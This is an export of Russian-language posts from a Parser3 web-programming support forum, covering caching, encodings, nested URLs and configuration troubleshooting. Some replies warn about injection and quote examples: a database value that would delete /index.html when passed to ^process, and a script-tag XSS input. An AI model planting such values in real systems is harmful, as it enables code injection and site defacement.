"32331","я конечно, понимаю, что форум должен быть доступен всем,\
но почему любой незарег. пользовель\
может подписаться под любым ником, если даже последний зареген???"
"32333","надеемся на культуру пользователей.\
\
про замену буквы а-русская на букву а-английская и прочий бред вам не нужно ведь рассказывать?"
"32335","...у меня парсер, как и положено, стоит обработчиком всех html-страниц. Я создал файл q.html, содержащий только html и ни капли parser, почему он отображается нормально, как обычный html-файл? Ведь текст в нем не заключен в метод?\
\
Или я тоже чего-то не понимаю? =)"
"32336","все равно происходит [b]запуск[/b] парсера.\
\
и ПАФ говорит что это плохо. совершенно незачем пускать парсер тогда, когда это не нужно: задайте plain-html файлам и файлам с парсерными инструкциями разные расширения, и парсер назначьте только обработчиком нужных файлов."
"32338","что касается меня, то я не люблю регистрироваться, когда не собираюсь оставаться надолго, но многие форумы меня вынуждают это делать.\
\
считаю что в мире есть другие люди с подобной точкой зрения, и усложнять им жизнь (заставляя регистрироваться) - считаю нецелесообразным. если человек пришел задать один-два вопроса - пусть просто задаст вопросы, получит ответы и уйдет, не проклиная нас за вынужденную регистрацию :)\
\
ну не нужно нам \"количество\" пользователей :)\
\
и ещё: подписаться-то он может произвольным ником, но ведь все равно видно что этот 'PAF' или 'Misha v.3' не настоящие, потому как ники у них 'серые' :)"
"32339","Есть БД. На странице форма поиска по ней. Хочу сделать заранее cache-файлы, чтобы когда посетитель чего-нибудь начал искать, то страница уже лежала в кэше (т.к. база не маленькая, а запрос сложный - несколько секунд). \
Т.е. я предполагаю потенциальный список запросов, могу его записать, скажем в текстовый файл.\
Как бы попросить Parser, чтобы он попеременно сделал бы эти запросы? Или может просить нужно не Parser?"
"32340","[code]\
$tbl[^table::load[файл_с_запросами.txt]]\
$target_server[http://ваш_сервер/]\
$cnt(0)\
^tbl.menu{\
  ^try{\
    $f[^file::load[text;$target_server?query=$tbl.query]]\
    ^if(!($cnt % 50)){\
      ^memory:compact[]\
    }\
  }{\
    $exception.handled(1)\
  }\
}\
[/code]\
\
только имейте ввиду, что процесс этот не быстрый (каждый запрос несколько секунд, как вы сами сообщили) и броузер может отвалиться по таймауту, т.е. возможно вам стОит прочитать в документации \"использование парсера в качестве интерпретатора скриптов\" и запустить приведенный выше скрипт с консоли."
"32341","...и вызовите Парсер из командной строки. При такой схеме можно этот скриптик запускать автоматически, по Крону, в нужный момент.\
\
http://www.parser.ru/docs/lang/parserscript.htm\
\
Если вам достаточно возможности ручного запуска, то просто сделайте себе html-файл с нужным скриптом в админке, а потом вызывайте вручную из браузера."
"32342","Я с Вами согласен, но дело в том, что некоторые браузеры неправильно воспринимают \"font-size:small\", так что, используя удобные наименования для font-size, придётся создавать два разных CSS файла, и подсовывать их автоматически (font-size:small в mozilla = font-size:x-small в MS IE). \
\
Попробовал использовать \"80%\" вместо \"small\", вроде даёт почти один и тот же результат в разных браузерах."
"32343","в том то и дел что просто текст вида\
  text text text text text text text text text \
он пишет, но как только появляется явный парсер, то все ломается\
  @auto[]\
  $image[yo.gif]\
все, уже не работает, отказывается создовать"
"32346","Написал небольшую cms-ку с возможность добавления неограниченного количества вложенных документов.\
Стал писать навигацию \"хлеюные крошки\" и споткнулся. Не могу понять,как, допустим, для такого адреса достать все названия разделов:\
site.ru/folder1/subfolder1/subfolder2/subfolder3/subfolder4/subfolder5/\
/subfolder6/subfolder/subfolder8/subfolder9/\
Конечно, такую структуру мало на каком сайте найдёшь. Но в принципе-то? Сплитить строку и делать 10 запросов к базе - не очень хочется. Загрузить всю базу - тоже нельзя, ибо не правильно изначально.\
\
Структура базы - document_id - document_parent_id - document_title\
\
А, кстати, кто-нибудь знает, что в таких случаях делают на больших порталах,где такая вложенность возможна?"
"32347","Допустим захочу я сделать сайт с офигительно большой глубиной вложенности. Чтобы не терзать сильно базу при каждом запросе к странице, мне кажется хорошее решение будет такое:\
\
при добавлении страницы мы смотрим uri родителя и добавляем к нему имя папки этого документа\
У родителя адрес /folder/subfolder/\
У страницы subsubfolder\
Получили /folder/subfolder/subsubfolder/\
\
Плохо или хорошо придумал?"
"32348","я делаю поиск по сайту и столкнулся с проблемой что когда я достаю инфу из бд, то достаю и html, понял что его надо как-то убрать, но не как не могу найти как. Поиск по форуму не помог =(. Прошу вашей помощи"
"32349","Сделал первое упражнение\
Браузер выдал душераздирающую надпись: \
[code]Ошибка CGI\
Указанное приложение CGI не возвратило полный набор заголовков HTTP. Не возвращены заголовки:[/code]\
\
IIS настроил и Парсер прописал по инструкции. Не работает.\
Помогите."
"32350","Взял версию без поддержки XML и все заработало.\
Спрашивается - почему c xml не работает?"
"32352","да и подписаться как-нибудь PAF-ом или Wonder-ом, да и прокричать на веесь форум, что-нибудь эДакоЕ.. :-)))"
"32353","что значит $cnt % 50?\
\
Заодно разберусь с memory.compact[] - давно собирался..."
"32356","ну а все-таки..\
глуповато, конечно, \
но в учебнике о4ень мало: как подключаться к sql-базе, что за эти протоколы\
mysql://****@localhost/news\
и что делать, если он говорит, что не может найти эту базу, как ее создать..\
\
я, конечно, понимаю, что еще в учебнике меня отсылали подучить sql, но из-за того, что я не могу доделать тестовый раздел новостей — ничего немогу делать, ни к чему приступить дальше..\
беру из примера делаю \"народный copy/paste\"(АртЛеб.) — ошибка! \
:-("
"32357","Я согласен в том плане, что ради одного вопроса регистрироваться — не есть великое удовольствие, но ведь все таки люди по привычке (или уж не знаю почему) регистрируются и в результате если смотреть всех участников форума, то много у кого по одному-два сообщения. Зачем ради них регистрироваться?\
\
Кстати, мне кажется, что надо проверять, ввел ли пользователь свое имя, иначе некоторые сообщения получаются [i]Безымянными[/i] (например: http://www.parser.ru/forum/?id=32189)"
"32359","Как это не к чему приступить? А как на счет хотя бы поверхностного изучения MySQL? Как же Вы будете работать дальше с теми же новостями (админку к ним не собираетесь прикручивать?) не зная как к ним подступиться.\
\
Очень советую скачать доку по MySQL-у. Могу даже упростить задачу, просто кликайте  [url=\"http://dev.mysql.com/get/Downloads/Manual/manual.ru-split.zip/from/http://mysql.l.rt-comm.ru/\"]тут[/url] :)\
\
Собственно, ответы на вопросы (устроил тут я рассадник лени):\
\
1. [b]mysql://[/b] — что значит \"что это за протоколы?\" Существуют различные протоколы, взять хотя бы \"http://\", \"ftp://\"... Додумайте сами.\
\
2. Как создать базу? У вас Денвер (dnwr)? Тогда это можно сделать через PhpMyAdmin, там все просто, сами разберетесь без труда.\
\
2.1 А еще можно что-нибудь подобное написать:\
\
[code]\
# Создаем базу данных, если ее не существует\
^connect[$connect_string]{^void:sql{CREATE DATABASE IF NOT EXIST p3test}}\
# Создаем таблицу...[/code]\
\
А как создать таблицу, кстати, пример в документации: http://www.parser.ru/docs/lang/voidsql.htm\
\
P.s. И все таки почитайте доку по мусклу. ;)"
"32360","Поиск по ключевым словам «удаление тегов» выдал вот эту ссылочку: http://www.parser.ru/forum/?id=29640\
\
А если взять по минимому, тогда получается так.\
[code]^str.match[<(.+?)>][gi]{}[/code]\
\
Читайте «[url=\"http://www.parser.ru/docs/lang/stringclass.htm\"]Класс string[/url]» › «[url=\"http://www.parser.ru/docs/lang/stringmatchreplace.htm\"]Метод match[/url]»... Ну и еще «[url=\"http://www.parser.ru/docs/lang/app4.htm\"]Приложение 4. Perl-совместимые регулярные выражения[/url]»"
"32361","Когда уровень вложенности будет равен десяти, структура получается такой:\
\
/\
  folder/\
    subfolder/\
      subsubfolder/\
        subsubsubfolder/\
          subsubsubsubfolder/\
            subsubsubsubsubfolder/\
              subsubsubsubsubsubfolder/\
                subsubsubsubsubsubsubfolder/\
\
И так далее растущей. Это ли хорошо?"
"32362","И потом: вы уверены что вам [b]действительно[/b] нужно создавать файлы с парсерным кодом?"
"32364","насчёт CSS — не силён, ничего не скажу, кроме того, что Студия делает одинаковый CSS для всех [i]поддерживаемых ею[/i] браузеров. список фиксируется в Т.З."
"32365","скорее всего, в начале файла вы не написали @main[]"
"32366","я понял чего мне не хватало.\
да и не только мне — миру.\
препода, который скажет, \
что мой вопрос называется ленью, но все-таки даст ответ!\
\
супер качество для наставника!\
БОльшое спасибо!\
\
п.с. конечно изучу доку. просто я думал купить СД про мусклу.. а птичку я мучаю уже третьи сутки с нуля.. вот и нехочется отрываться :-)\
\
спасибо!"
"32368","http://www.parser.ru/faq/"
"32369","Делаю проверку файлов на сервере, для того чтобы можно было выкачать html  себе. В случае exe файлов под виндой происходит запуск exe. А что будет в случае *nix или perl скриптов? они тоже запустятся? Как запретить запуск?\
\
Вот код:\
\
[code]\
$file[^file::load[binary;http://oss/test.exe;$.method[HEAD]]]\
^file.tables.foreach[key;value]{\
    $key=^value.menu{$value.value}[|]<br>\
}\
[/code]"
"32370","по-умолчанию во всех (на свете) веб-серверах это выключено."
"32371","Это у меня локально, под виндой..."
"32372","Зато можно поставить индекс и одним запросом по урл выдёргивать любую страницу, минуя родителей\
Хотя не, индекс поставить не получится. Да. Херню сморозил"
"32373","у меня это избыточное поле, заполняемое системой автоматически, которое помогает сильно ускорить выполнение некоторых операций.\
\
и индекс замечательно на него ставится."
"32375","Мы же вроде не можем поставить индекс на блоб. А если у нас будет 30 уровней вложенности, то в 255 символов варчара может и не влезть?\
Я правильно понимаю?\
\
А ещё вот задумка. Что если в дополнительное поле писать циферку - уровень вложенности. По-моему, пригодилось бы такое поле"
"32376","не очень понятно"
"32377","на clob не можем, но мне кажется что url длиной 255 символов - это уже клиника.\
\
и уровень вложености у меня [url=\"http://misha.design.ru/hobby/progr/engine.html\"]есть[/url]."
"32378","во! спасибо. забыл про этот сайт совсем\
А представьте, что будут таки эти 30 уровней вложенности. ЧтО же делать тогда?"
"32381","не бывает решений на все случаи жизни."
"32382","Ну и при чём здесь мод реврайт? Он-то как-раз используется. У меня всего одна страничка на сервере. А урл - длиннющий (то есть я такую вероятность предвижу)"
"32383","Сервер Апач. Админ исправлял там что-то и все работало, а я видимо что-то лишнее удалил. Копаюсь в инструкциях и не вижу нужного указания. Приоритет сменить какой-то надо или еще чего? Специалисты, помогите..."
"32389","Меня теперь никто не убедит, что можно перехватить размер файла перед его оправкой на сервер.\
\
Простейший пример. в настройке пользователя там есть такая вещь как публикация фото, так вот если туда отправить файл размером 20 метров, то после того как файл уйдет на сервер вылетает ошибка что сервер не найден.\
Это говорит о том, что тут происходит постинг файла превышающий допустимый размер указанный в Апаче и сам Апач блокирует соединение с данного IP, закрывая все сокеты.\
А парсер что то ничего не определяет.\
\
Ну так докажите мне что можно перехватить размер файла до его отсылке на сервер.\
\
З.Ы. вот у меня на mail.ru есть ящик. так там есть поле добавления файла, так вот если файл превышает допустимый размер, так там одбой происходит сразу, не дожидаясь принятия всего файла.\
\
Приношу свои извинения за такой дерзкий тест."
"32393","спасибо, остаётся только проверить, будет ли это валидным CSS 2. :-)\
\
Немного отвлекусь, но в статье написано что опера отображает размер правильно, хотя я этого не наблюдаю в Opera 6.12 на FreeBSD, используя font-size:small. Может быть кто-нибудь прояснит, про какую оперу говорит автор?"
"32394","очевидно, я поместил не тот файл в форум, за что извиняюсь. \
\
Вот auto.p с которым возникают проблемы. Прошу заметить, что парсер 3.1.0 работает с этим конфигурационным файлом без каких-либо проблем, а 3.1.3, очевидно, пропускает все инструкции из @auto[]. Проблема была замечана только на win32. Если сдвинуть @auto[] вверх (после @conf), то всё опять работает. \
\
[code]\
@conf[filespec]\
$confdir[^file:dirname[$filespec]]\
$charsetsdir[$confdir/charsets]\
$sqldriversdir[$confdir/lib]\
\
$CHARSETS[\
    $.koi8-r[$charsetsdir/koi8-r.cfg]\
#    $.windows-1250[$charsetsdir/windows-1250.cfg]\
    $.windows-1251[$charsetsdir/windows-1251.cfg]\
#    $.windows-1257[$charsetsdir/windows-1257.cfg]\
]\
#change your client libraries paths to \
those on your system\
$SQL[\
	$.drivers[^table::create{protocol	driver	client\
mysql	$sqldriversdir/parser3mysql.dll	C:\\mysql\\lib\\opt\\libmySQL.dll\
}]\
]\
\
#for ^file::load[name;user-name] mime-type autodetection\
$MIME-TYPES[^table::create{ext	mime-type\
zip	application/zip\
doc	application/msword\
xls	application/vnd.ms-excel\
pdf	application/pdf\
ppt	application/powerpoint\
rtf	application/rtf\
gif	image/gif\
jpg	image/jpeg\
png	image/png\
tif	image/tiff\
html	text/html\
htm	text/html\
txt	text/plain\
mts	application/metastream\
mid	audio/midi\
midi	audio/midi\
mp3	audio/mpeg\
ram	audio/x-pn-realaudio\
rpm	audio/x-pn-realaudio-plugin\
ra	audio/x-realaudio\
wav	audio/x-wav\
au	audio/basic\
mpg	video/mpeg\
avi	video/x-msvideo\
mov	video/quicktime\
swf	application/x-shockwave-flash\
}]\
\
$LIMITS[\
	$.post_max_size(10*0x400*0x400)\
]	\
\
$MAIL[\
	$.SMTP[192.168.0.18]\
]\
\
\
@fatal_error[title;subtitle;body]\
$response:status(500)\
$response:content-type[\
        $.value[text/html]\
        $.charset[$response:charset]\
]\
<html>\
<head><title>$title</title></head>\
<body>\
<h1>^if(def $subtitle){$subtitle;$title}</h1>\
$body\
</body>\
</html>\
\
@unhandled_exception_debug[exception;stack]\
^fatal_error[Unhandled Exception^if(def $exception.type){ ($exception.type)};$exception.source;\
<pre>^untaint[html]{$exception.comment}</pre>\
^if(def $exception.file){\
^untaint[html]{<tt>$exception.file^(${exception.lineno}:$exception.colno^)</tt>}\
}\
^if($stack){\
	<hr/>\
	<table>\
	^stack.menu{\
		<tr><td>$stack.name</td><td><tt>$stack.file^(${stack.lineno}:$stack.colno^)</tt></td></tr>\
	}\
	</table>\
}\
]\
\
@unhandled_exception_release[exception;stack]\
^fatal_error[Unhandled Exception;;\
\
<p>The server encountered an unhandled exception \
and was unable to complete your request.</p>\
<p>Please contact the server administrator, $env:SERVER_ADMIN\
and inform them of the time the error occurred, \
and anything you might have done that may have caused the error.</p>\
<p>More information about this error may be available in the Parser error log\
or in debug version of unhandled_exception.</p>\
\
]\
\
################################################################################\
\
@unhandled_exception[exception;stack]\
^if(\
	(\"$exception.type\" eq \"file.missing\") && \
	(def $exception.source) && \
	(^exception.source.match[$request:uri][] || ^exception.source.match[^request:uri.match[(.+)\\x3f.*][]{$match.1}][])\
){\
	^unhandled_exception_404[]\
}{\
#	^unhandled_exception_release[$exception;$stack]\
	^unhandled_exception_debug[$exception;$stack]\
}\
\
################################################################################\
\
@unhandled_exception_404[]\
^unhandled_exception_404_xhtml[]\
\
################################################################################\
\
@unhandled_exception_404_html[]\
$response:Status[404 Not Found]\
<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\">\
<html><head>\
<title>404 Not Found</title>\
</head><body>\
#<h1>Not Found</h1>\
<h1>Page Not Found</h1>\
#The requested URL $env:REQUEST_URI was not found on this server.<p>\
Sorry, but $env:REQUEST_URI doesn't exist on this website. <p>\
<hr>\
<a href='http://$env:SERVER_NAME/'>$env:SERVER_NAME</a><p>\
#<hr>\
#^untaint{$env:SERVER_SIGNATURE}\
</body></html>\
\
################################################################################\
\
@unhandled_exception_404_xhtml[]\
$response:Status[404 Not Found]\
<?xml version=\"1.0\" encoding=\"$response:charset\"?>\
<!-- $date_now[^date::now[]]^date_now.sql-string[] -->\
<!DOCTYPE html \
     PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\"\
    \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\">\
<html xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"en-GB\" lang=\"en-GB\">\
  <head>\
    <title>404 Not Found</title>\
  </head>\
  <body>\
    <h1>Page Not Found</h1>\
    <p>Sorry, but $env:REQUEST_URI doesn't exist on this website. </p>\
#    <p>Try to visit our index page to locate the necessary information. </p>\
    <hr/>\
    <p><a href='http://$env:SERVER_NAME/'>http://$env:SERVER_NAME/</a></p>\
  </body>\
</html>\
\
################################################################################\
#\
@auto[]\
#source/client charsets\
$request:charset[windows-1251]\
$response:charset[windows-1251]\
\
$response:content-type[\
        $.value[text/html]\
        $.charset[$response:charset]\
]\
\
$SQL.connect-string[mysql://root@127.0.0.1/p?charset=cp1251_koi8]\
\
[/code]"
"32395","В конце строки \
[code]\
<h1>^if(def $subtitle){$subtitle;$title}</h1>\
[/code]\
у Вас записался символ с кодом 00, который и причиняет все неудобства (файл parser3conf_1_1_20031106_win32.zip). \
\
Простой Select All -- Copy -- Delete All -- Paste в Фаре 1.65 решает проблему, однако вовсе не каждый до такого додумается.\
\
Тема опять переходит в \"по-умолчанию не работает\"..."
"32397","rfc2068 раздел Message Length\
\
Apache LimitRequestBody directive"
"32398","Есть подозрение, что [b]cookie[/b] не доступны для чтения в [b]@auto[ ] auto.p[/b] так и должно быть? \
Или... просто надо выправить руки :) ?"
"32399","до сих пор замечал подобное безобразие только за редактором BBEdit на Macintosh, тот любит спонтанно вставлять букву с кодом 4.\
\
я же для parser пользуюсь только FAR'ом…\
\
позиция метода значение только тогда имеет, когда в одном файле определяется два одноимённых метода. используется последний.\
бывает иногда полезно для отладки, можно делать меньше движений."
"32402","связано с кодировками.\
потом подправил, чтобы $form:поля можно было читать в любом месте, и чтобы после изменения $source/response:charset, чтобы значения автоматически перекодировались вновь.\
\
с куками проблема похожа, и даже сложнее: там в куку можно что-то записать.\
\
если у кого-то будет энтузиазм подкрутить это, приму \"patch -u\"."
"32403","Обнаружил, что конструкция $хэш.${таблица.поле} не позволяет получить элемент хэша, а нужно водить промежуточную переменную $var[$таблица.поле] и затем уже $хэш.$var делать.\
При этом такой же трюк с хшем вполне нормально работает. Но я в силу своей маниакальности обнаруживаю в себе желание абсолютно во всех случаях делать промежуточные переменные. А это некрасиво и вообще попа. \
Хотелось бы как-то наперёд знать, в каких случаях требуется использование промежуточных переменных, а в каких - нет.\
\
P.S. и еще: как вызвать функцию с именем - переменной? А то ^$var[] - исключает из обработки, а не вызывает."
"32406","Если комуто доведется разбирать строки программы телепередач, то вот маленький метод, который вам может помочь:\
\
Разбирает строку:\
6:00, 9:00, 11:15 \"Доброе утро, Россия\"\
на\
6:00 \"Доброе утро, Россия\"\
9:00 \"Доброе утро, Россия\"\
11:15 \"Доброе утро, Россия\"\
\
[code]\
########################################\
# разбивка сложных строк\
#####\
@_text_line[text_line][parts;title]\
$title[^text_line.match[((?:\\d{1,2}:\\d{2},?\\s)+)(.*?)^$][m]{$text_line[^match.1.trim[]]^match.2.trim[]}]\
$parts[^text_line.split[, ;vl]]\
$result[^parts.menu{$parts.piece $title}[^#0A]]\
### End @_text_line\
[/code]"
"32407","[code]\
$function[$$function_name]\
^function[param1;param2]\
[/code]\
\
однако такой код плохо читаем [да и потенциально опасен в том смысле, что name может быть (сейчас или в будущем) прямо или косвенно получен от посетителя].\
\
вот эта же идея чуть лучше:\
http://www.parser.ru/forum/?id=14317\
\
и не забывайте про виртуальные функции.\
[code]\
^abcAction.perform[]\
[/code]\
где abcAction -- объект наследник некоего общего класса..."
"32408","Получаю файл по http\
[code]\
^try{$file[^file::load[binary;$filename;$.method[GET]]]}{\
}\
[/code]\
Сервер возвращает 302 код - редирект. Как узнать куда был сделан редирект т.е. получить остальную информацию из запроса?"
"32410","из sql запросом вынимается строка\
\
[code]\
	$.test[blablabla]\
[/code]\
в $param\
\
после чего пытаюсь получить\
\
[code]\
	$var1[^hash::create[$param]]\
\
#	тут как и положенно выводится строка\
	$param	\
\
#	тут пусто\
	$var1.test\
\
#	и тут тоже пустая таблица\
	$keys[^var1._keys[]]	\
	^keys.save[/var1_keys.txt]\
[/code]\
\
\
[code]\
	$var1[^hash::create[^untaint[as-is]{$param}]]\
[/code]\
и\
[code]\
	$var1[^hash::create[^taint[as-is][$param]]]\
[/code]\
тоже не помогают"
"32414","если очень нужно именно так, вас интересует ^process\
понятно, вы будете с ним осторожны, чтобы пользователь вам в базу\
[code]\
$.test[^file:delete[/index.html]]\
[/code]\
не записал.\
\
однако есть ощущение, что вы в [b]одно поле[/b] хотите положить несколько значений.\
\
это можно сделать иначе, варианты:\
1. положить в поле xml\
2. положить details_id\
а в таблице details сделать колонки \
details_id\
name\
value\
и хранить там произвольное количество именованных деталей."
"32415","[code]\
^init[\
	$.param1[blabla]\
	$.param2[blablabla]\
]\
\
@init[iparams][lparam]\
\
$lparam[^hash::create[$iparams]]\
[/code]\
\
$iparams приходит как обычный string. Чем он отличается от string полученной из sql?"
"32418","Не знаю. Но если верить [url=\"http://www.parser.ru/docs/lang/hash.htm\"]документации[/url], то конструкция вида\
[code]\
^init[\
  $.param1[blabla]\
  $.param2[blablabla]\
]\
[/code]\
передаёт параметром хеш с ключами .param1 и .param2\
\
Вдогонку полезный метод:\
[code]\
# Возвращает тип переменной\
@typeof[var]\
$result[]\
^if($var is date){$result[date]}\
^if($var is file){$result[file]}\
^if($var is hash){$result[hash]}\
^if($var is hashfile){$result[hashfile]}\
^if($var is table){$result[table]}\
^if($var is int){$result[int]}\
^if($var is double){$result[double]}\
^if($var is image){$result[image]}\
^if($var is xnode){$result[xnode]}\
^if($var is bool){$result[bool]}\
^if($var is xdoc){$result[xdoc]}\
^if($var is string){$result[string]}\
\
^if($result eq \"\"){\
^try{\
	^rem{*** все мои классы могут про себя сами сказать, что они такое ***}\
	$result[^var.typeof[]]\
}{\
	^rem{*** А если это не мой класс, то и наплевать ***}\
	^if($exception.type eq \"parser.runtime\" && $exception.source eq \"typeof\"){\
		$exception.handled(1)\
	}\
}\
}\
\
^if($result eq \"\"){\
	^rem{*** Нифига не подошло: не знаем, что это такое ***}\
	$result[unknown]\
}\
### End @typeof[]\
[/code]\
"
"32419","Пытаюсь загрузить файл, строка вида:\
[code]$answer[^file::load[text;http://192.168.0.20:8080/1.p3; $.method[GET] $.timeout(3) $.any-status(1) $.charset[windows-1251]  $.headers[ $.Host[lalala.ru] $.User-Agent[parser3]] ]] [/code]\
На сервер в заголовок Host: Приходит строка вида: \
[b]192.168.0.20, lalala.ru[/b]\
\
Вопрос - почему в HOST подставляется ip? Так и должно быть? Если нет, то как этого избежать?"
"32420","Меня интересует существуют ли стабильные разработки систем управления сайтом на основе парсера?"
"32422","и напечатаете её, вы увидите в браузере \"^eval(2*2)\", а вовсе не 4.\
\
не отвечайте на это письмо, подумайте сначала."
"32423","parser передаёт его сам, http://отсюда\
\
кто хочет это исправить, пусть пришлёт \"patch -u\".\
\
пока можно так: вписать нужное имя в \
unix: /etc/hosts\
win32: C:\\windows\\system32\\drivers\\etc\\hosts\
\
формат:\
[code]\
ip.ad.re.ss some.domain.name\
[/code]"
"32424","большинство наших клиентов получают эту систему + подробную документацию по ней."
"32425","Спасибо, но...\
[quot]пока можно так: вписать нужное имя в [/quot] так не подходит, а патчик написать силенок маловато :("
"32426","1. примите меры к тому, чтобы на lala.ru нужный вам сервер шёл [b]первым[/b] в списке виртуальных серверов apache: тогда когда сервер не найдётся по заголовку \"host\", отдастся первый = тот, что нужно.\
\
2. примите меры к тому, чтобы домен lala.ru получил правильный ip адрес\
\
3. ходите на адрес somethingelse.lala.ru, и добавьте somethingelse.lala.ru в ServerAlias виртуального сервера lala.ru\
\
4. запустите внешнюю утилитку, которая заберёт файл, задав заголовок host, как вы это пытаетесь сделать сейчас. например, \"wget\"."
"32427","А сколько стоит ваша система?"
"32428","уже перебирали 1-3 не подходят или нет возможности. 4 попробуем. \
Спасибо еще раз."
"32430","А когда будет?\
В принципе мне нужно немногое.\
Это разделы (и подразделами) с новостями и публикациями. Листинг последних новостей, публикаций. Соответствено в администр. должны быть соответствующие поля (название новости, анонс, автор, источник, текст новости, фото).\
Расширение файлов - html."
"32431","переписал я некоторые методы из auth.p в my_auth.p, что плохо: изменил табличку auser- добавил в неё нужные мне поля, например icq, www, но это не столь важно, потом я все переделаю, сейчас вот что не получается: когда пользователь регистрируется, значения icq , www, добавляются в табличку, а когда он update свой профиль, то выходит ошибка: [i]Какие-то проблемы при изменении параметров пользователя[/i], вот то что изменил в  @updateUser\
[code]\
\
	^csql.sql[void]{\
					UPDATE\
						auser\
					SET\
						name = '$user_data.[auth.name]'\
						^if(^is_email[$user_data.[auth.email]]){, email = '$user_data.[auth.email]'}\
						^if(def $user_data.[auth.icq]){, icq '$user_data.[auth.icq]'}\
						^if(def $user_data.[auth.www]){, www '$user_data.[auth.www]'}\
						^if(def $user_data.description){, description = /**description**/'$user_data.description'}\
						^if(def $user_data.[auth.passwd]){, passwd = '^cryptPassword[$user_data.[auth.passwd]]'}\
						^if(def $user_data.[auth.rights]){, rights = $user_data.[auth.rights]}\
					WHERE\
						auser_id = ^user.user_id.int(0)\
				}\
[/code]"
"32432","Про эту особенность совсем забыл и начал зациклился на [скобках] и строках"
"32433","Создайте себе табличку auser_detais и работайте с ней отдельно"
"32435","Подскажите, пожалуйста, как доставать из MySQL базы специальные символы, которые после записи в нее хранятся в виде - \" &#228; \" - например."
"32436","начинается много весёлого.\
и то, что вы привели, и например, сортировка: насколько понимаю, А(умляут) должно попасть по алфавиту где-то рядом с А(обычным).\
\
так что хранение её в базе в таком виде не годится.\
\
соответственно, варианты:\
1. храните в базе UTF-8, если ваш сервер баз данных эту кодировку поддерживает.\
2. разберитесь, как так вышло, что в базу попало &#xxx;\
сам parser вставляет подобные последовательности при перекодировке из UTF-8, на место тех букв, которым не задано соответствия в файле описания кодировки (в вашем случае, windows-1251.cfg).\
ваш пример не похож на это.\
соответственно, есть ощущение, что вы не знаете, откуда в вашей базе такое.\
3. если в вашей базе хранится HTML код, всякие там <i>пометки</i>, то объясните parser'у, что вы доверяете этому коду [code]^untaint{$table.field}[/code]\
если вы доверяете, конечно, если этот текст не берётся напрямую от посетителя сайта\
(посетители склонны писать [code]<script>alert('все дураки')</script>[/code])\
4. ^string.replace"
"32437","Установил комплект Денвер-2 с P3. \
Начал изучать Парсер.\
Проблема: на втором уроке...\
Создаю такие файлы в одной директории:\
________\
|auto.p|\
\
@main[]\
^header[]\
^body[]\
^footer[]\
\
@greeting[]\
Администрирование новостей\
\
@body_additional[]\
Добавление новостей\
\
@body_main[]\
$now[^date::now[]]\
\
@navigation[]\
$sections[^table::load[sections.cfg]]\
<table width=\"100%\" border=\"0\" bgcolor=\"#000000\" cellspacing=\"1\">\
   <tr  bgcolor=\"#FFFFFF\">\
   ^sections.menu{\
      ^navigation_cell[]\
   }\
   </tr>\
</table>\
<br>\
\
@navigation_cell[]\
$cell_width[^eval(100\\$sections)%]\
^if($sections.uri eq $request:uri){\
   <td width=\"$cell_width\" align=\"middle\" bgcolor=\"#A2D0F2\"> \
   <nobr>$sections.name</nobr>\
   </td>\
}{\
   <td width=\"$cell_width\" align=\"middle\"> \
   <a href=\"$sections.uri\"><nobr>$sections.name</nobr></a>\
   </td>\
}\
\
@footer[]\
<table width=\"100%\" border=\"0\" bgcolor=\"#000000\" cellspacing=\"0\">\
   <tr>\
      <td></td>\
   </tr>\
</table>\
$now[^date::now[]]\
<font size=\"-3\">\
<center>Powered by Parser3<br>1997-$now.year</center>\
</font>\
</body>\
</html>\
\
@header[]\
<html>\
<head>\
<title>Тестовый сайт Parser3</title>\
</head>\
<body bgcolor=\"#FAEBD7\">\
<table width=\"100%\" border=\"0\" bgcolor=\"#000000\" cellspacing=\"1\">\
   <tr  bgcolor=\"#FFFFFF\" height=\"60\">\
      <td align=\"middle\">\
         <font size=\"+2\"> <b>^greeting[]</b></font>\
      </td>\
   </tr>\
</table>\
<br>\
\
@body[]\
^navigation[]\
<table width=\"100%\" height=\"65%\" border=\"0\" bgcolor=\"#000000\" cellspacing=\"1\">\
   <tr  bgcolor=\"#ffffff\" height=\"100%\">\
      <td width=\"30%\" valign=\"top\" bgcolor=\"#EFEFEF\">\
         <b>^body_additional[]</b>\
      </td>\
      <td width=\"70%\" valign=\"top\">\
         ^body_main[]\
      </td>\
   </tr>\
</table>\
<br>\
\
____________\
|index.html|\
\
<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\">\
<html>\
<head>\
<title>StudentAMSP</title>\
<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1251\">\
</head>\
<body>\
</body>\
</html>\
\
Запускаю на обработку... открывается пустая страница. Значит main не работает?\
        ____________\
Если же |index.html| изменить вот так, то все работает:\
\
<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\">\
<html>\
<head>\
<title>StudentAMSP</title>\
<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1251\">\
</head>\
<body>\
^header[]\
^body[]\
^footer[]\
</body>\
</html>\
\
Помогите кто может...бубен не помогает :)"
"32438","Попробуйте в index.html написать следующее:\
\
[code]\
@body_additional[]\
Здесь в дальнейшем будет размещаться менюшка раздела\
\
@body_main[]\
А здесь, будет содержание подраздела\
[/code]"
"32439","Что и как происходит:\
Есть база - список отелей. Содержит описания на русском, английском и немецком. А я туда вношу данные.\
\
Пишу что-нибудь, например, Ko(umlaut)nigsberg. Что в форме, обрабатываемой Парсером, что в форме phpmyadmin, в базе оказывается K&#число;nigsberg. Это я вижу, когда смотрю через phpmyadmin.\
\
То есть - перекодировка происходит в MySQL? Впрочем, мне это не мешает, потому что сортировка происходит не при выборе, а потом уже, в выбранной таблице, потому что есть варианты сортировки, не обязательно по первой букве. Но!\
\
Когда я делаю SELECT поля в $description, то я вижу, что содержание $description - K&, а ^description.length[] - 2.\
\
Поэтому ^description.replace - не получится.\
\
Насчет UTF-8 я не совсем понял - как я могу задать параметры хранения в этой кодировке, да и поможет ли это?"
"32441","MSIE проявляет «мозг», подставляя вместо буквы последовательность &#xxx;\
\
совершенно очевидно, что задумано «лучше что-то, чем совсем ничего», и такой подход вполне имеет право на жизнь. parser поступает также (при проблеме перекодирования символа).\
\
вывод: если на сайте нужна поддержка разных языков, самый простой подход, это переход на кодировку UTF-8 [b]внутри системы[/b].\
\
при этом [b]вне системы[/b], посетителю, вы можете отдавать однобайтную кодировку.\
[code]\
@auto[]\
